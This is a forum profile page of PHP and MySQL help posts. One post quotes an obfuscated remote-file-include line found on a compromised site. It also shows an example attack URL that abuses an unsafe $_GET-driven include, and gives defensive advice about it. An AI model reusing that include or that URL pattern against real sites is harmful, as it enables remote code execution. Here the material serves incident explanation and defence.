Jump to content

littledragon

Members
  • Posts

    70
  • Joined

  • Last visited

    Never

Everything posted by littledragon

  1. Yeah, this makes it a single statement.
  2. And oh, yes check your own computer too
  3. include(base64_decode("aHR0cDovLw==").base64_decode("YWQucnVud2ViLmluZm8=" is attempting to include an external file. This is usually done by saving a php file on their own server with the extension gif so that it gets served out as-is and including it from your server.. all this 'base64_decode' is trying to hide the address of their server from you I have some experience of this... you need to change ALL your passwords, including for any other users on your server. Even once you've done that, check all your scripts for security vulnerabilities since people may have been snooping your source code and could take advantage of it. Make sure no files include $include which is set by $include = $_GET['section'] since this can easily be attacked (yoursite.com?section=http://theirsite.com/dodgyinclude.gif), make sure register_globals is off, and keep a close eye on things for a while I was got by a keylogger in an internet cafe in Brasil (I guess, since the attacks I got afterward were in Portuguese)
  4. Yes, just repeat the VALUES() brackets for each insert, seperated by comma INSERT INTO `database`.`table` ( `col1` , `col2` , ) VALUES ( 'hello', 'hello2' ), ( 'hello3', 'hello4' );
  5. Sorry to do this but amn't getting much further with rtfm... *bump*
  6. In case anyone got to this by googling... I have a much better understanding of how php handles memory now, and an array _will_ be duplicated in memory when you pass it into a function. The way around this (if the array is large enough to worry about) is to pass only the array key you want, or take a (slightly) more object-oriented approach and simply use $GLOBALS['array'] / global $array to prevent duplication (if you're not going to affect the array / you wanted to affect it anyway). If the array ain't that big, it's probably not a big deal (as many people above pointed out to me) but if it's the results of a * query on a sizeable sql db then you start to think about this kind of thing ... Regards all, enjoy this great site ld
  7. agree about the die statement stick the "update supplier_coupon set coup_offer='.... into a variable $query, and if it fails var_dump($query) and look at the syntax so you can see the errors, as well as charlie's suggestion die(mysqli_error($handle))
  8. questions: where does $no_of_bed in for($i=1;$i<=$no_of_bed;$i++) come from? did you var_dump($_POST); ?
  9. oh, I see... sorry didn't look properly check out preg_match_all on php.net... this is definitely a job for regex. you'll be glad you learnt it!
  10. so what does the string look like? ThisIsAStringIWantToExplode or This Is A String I Want To Explode ?
  11. Is there a line break between each set as you're shown? In which case : explode("\n", $string);
  12. I agree, overheads are not really an issue on this site, but it seems silly to go pulling apart and reassembling the arrays to get them all organised by the one field (cos if I do three seperate queries then I get three *seperate* nicely organised arrays rather than one) when I know mysql is capable of doing it for me And also, I'd like to know how to do it
  13. Yeah, but I want it to be ordered by basename across all tables, so some kind of join is needed at basename and then order by it - I just can't find how to do this In any case, if I remove the order clause in the above example I get a NULL result, even though a simple select on any one of the tables yields results for par = a_value Let me know if my problem is still ambiguous
  14. I think you need to stick this.document.form1.ExcelLink.value='off' in the PREVIOUS_PAGE link maybe, since probably the value is still on and that means download? Would be helpful if you could post the js (unless this is all some weird ms object thing where you don't need it?)
  15. Do you need mysql to do the averaging sum, or can you pull the query and do the work afterwards? http://forums.devarticles.com/php-development-48/calculate-average-in-php-6934.html mysql> describe math; +-------+---------------------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +-------+---------------------------+------+-----+---------+----------------+ | id | int(10) unsigned zerofill | | PRI | NULL | auto_increment | | num | int(10) | YES | | NULL | | +-------+---------------------------+------+-----+---------+----------------+ 2 rows in set (0.00 sec) mysql> select * from math; +------------+------+ | id | num | +------------+------+ | 0000000001 | 5 | | 0000000002 | 5 | | 0000000003 | 5 | | 0000000004 | 5 | | 0000000005 | 5 | | 0000000006 | 7 | | 0000000007 | 7 | | 0000000008 | 7 | | 0000000009 | 7 | | 0000000010 | 7 | +------------+------+ 10 rows in set (0.00 sec) mysql> select count(*) as cnt, SUM(num) as sum, (SUM(num)/count(*)) as avg FROM math; +-----+------+------+ | cnt | sum | avg | +-----+------+------+ | 10 | 60 | 6.00 | +-----+------+------+ 1 row in set (0.00 sec)
  16. Hmmm... and if I remove the ORDER BY clause I get NULL (all tables have par = a_value at least once)
  17. Gnaaagh! That looked so good... error: Column 'basename' in order clause is ambiguous This is my main problem... I need them to be ordered as per 1 column I read about join, lots of examples that don't apply. still reading though
  18. if all the links start with .../, then you need str_replace $str = '<a href="../main_sections/news_archive/artciles/502.htm"> Read more . . .</a>'; $str = str_replace('href="../', 'href="http://othersite.com/', $str); echo $str;
  19. Hi guys, have been googling this for an hour now, not getting anywhere, maybe am getting tired... I have three tables (files, media and content), mostly different except all have the columns id, par, basename, & path I need a single statement where I can select id, basename, path FROM all three tables WHERE par = 'a_value', ORDER BY basename ??? any ideas? _Much_ appreciated! ld
  20. Think it's in the headers, James... is a whole big can o' worms though. You googled this yet? Bet there's a class out there for you to pinch. Try PEAR also. edited - and edited it right back again
  21. PS have a look at the php manual for date functions, it can get a little confusing, but I can do date_default_timezone_set('Europe/London') on my server which is somewhere near Salt Lake US and the time comes out fine. Your equivalent to 'Europe/London' will be in there somewhere. http://br.php.net/manual/en/function.date-default-timezone-set.php
  22. MadTechie - brilliant, why didn't I think of that? benchtesting - OK, but questions (never done it before)... execution time OK, memory usage how? is that number significant? No it isn't is it... I'm just being dumb...
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.